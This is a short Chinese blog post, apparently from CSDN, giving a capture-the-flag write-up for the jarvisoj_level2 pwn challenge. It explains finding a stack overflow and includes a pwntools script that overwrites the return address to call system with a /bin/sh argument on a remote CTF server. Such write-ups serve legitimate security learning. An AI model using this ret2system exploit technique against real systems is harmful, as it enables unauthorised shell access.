jarvisoj_level2题解

OrientalGlass

于 2023-01-08 16:46:44 发布

阅读量253

点赞数

分类专栏： Pwn 文章标签：安全学习其他经验分享 c语言

本文链接：https://blog.csdn.net/OrientalGlass/article/details/128602732

版权

Pwn 专栏收录该内容

4 篇文章 0 订阅

订阅专栏

文章详细介绍了如何通过checksec和ida分析程序存在栈溢出漏洞，然后利用该漏洞构造payload，将返回地址指向callsystem函数，并设置栈顶元素为/bin/sh的地址，以实现远程执行系统命令获取flag的过程。

摘要由CSDN通过智能技术生成

1.checksec查看

2.ida查看,很显然这里有栈溢出

3.查看栈

4.寻找system和bin/sh

这题没有现成的system("/bin/sh")可以调用,但是有system函数和/bin/sh字符串

所以可以通过溢出修改返回函数为call system位置,并且将栈顶元素修改为/bin/sh所在地址

这样就可以成功执行system("/bin/sh")

5.脚本

from pwn import * 
context.log_level='debug' 
p=remote("node4.buuoj.cn",26250)
payload=b'a'*136+b'b'*4+p32(0x804849e)+p32(0x804a024)
#填充掉return的地址到call system函数的位置,并将栈顶修改为/bin/sh所在地址
p.send(payload)		
p.interactive()

6.获取flag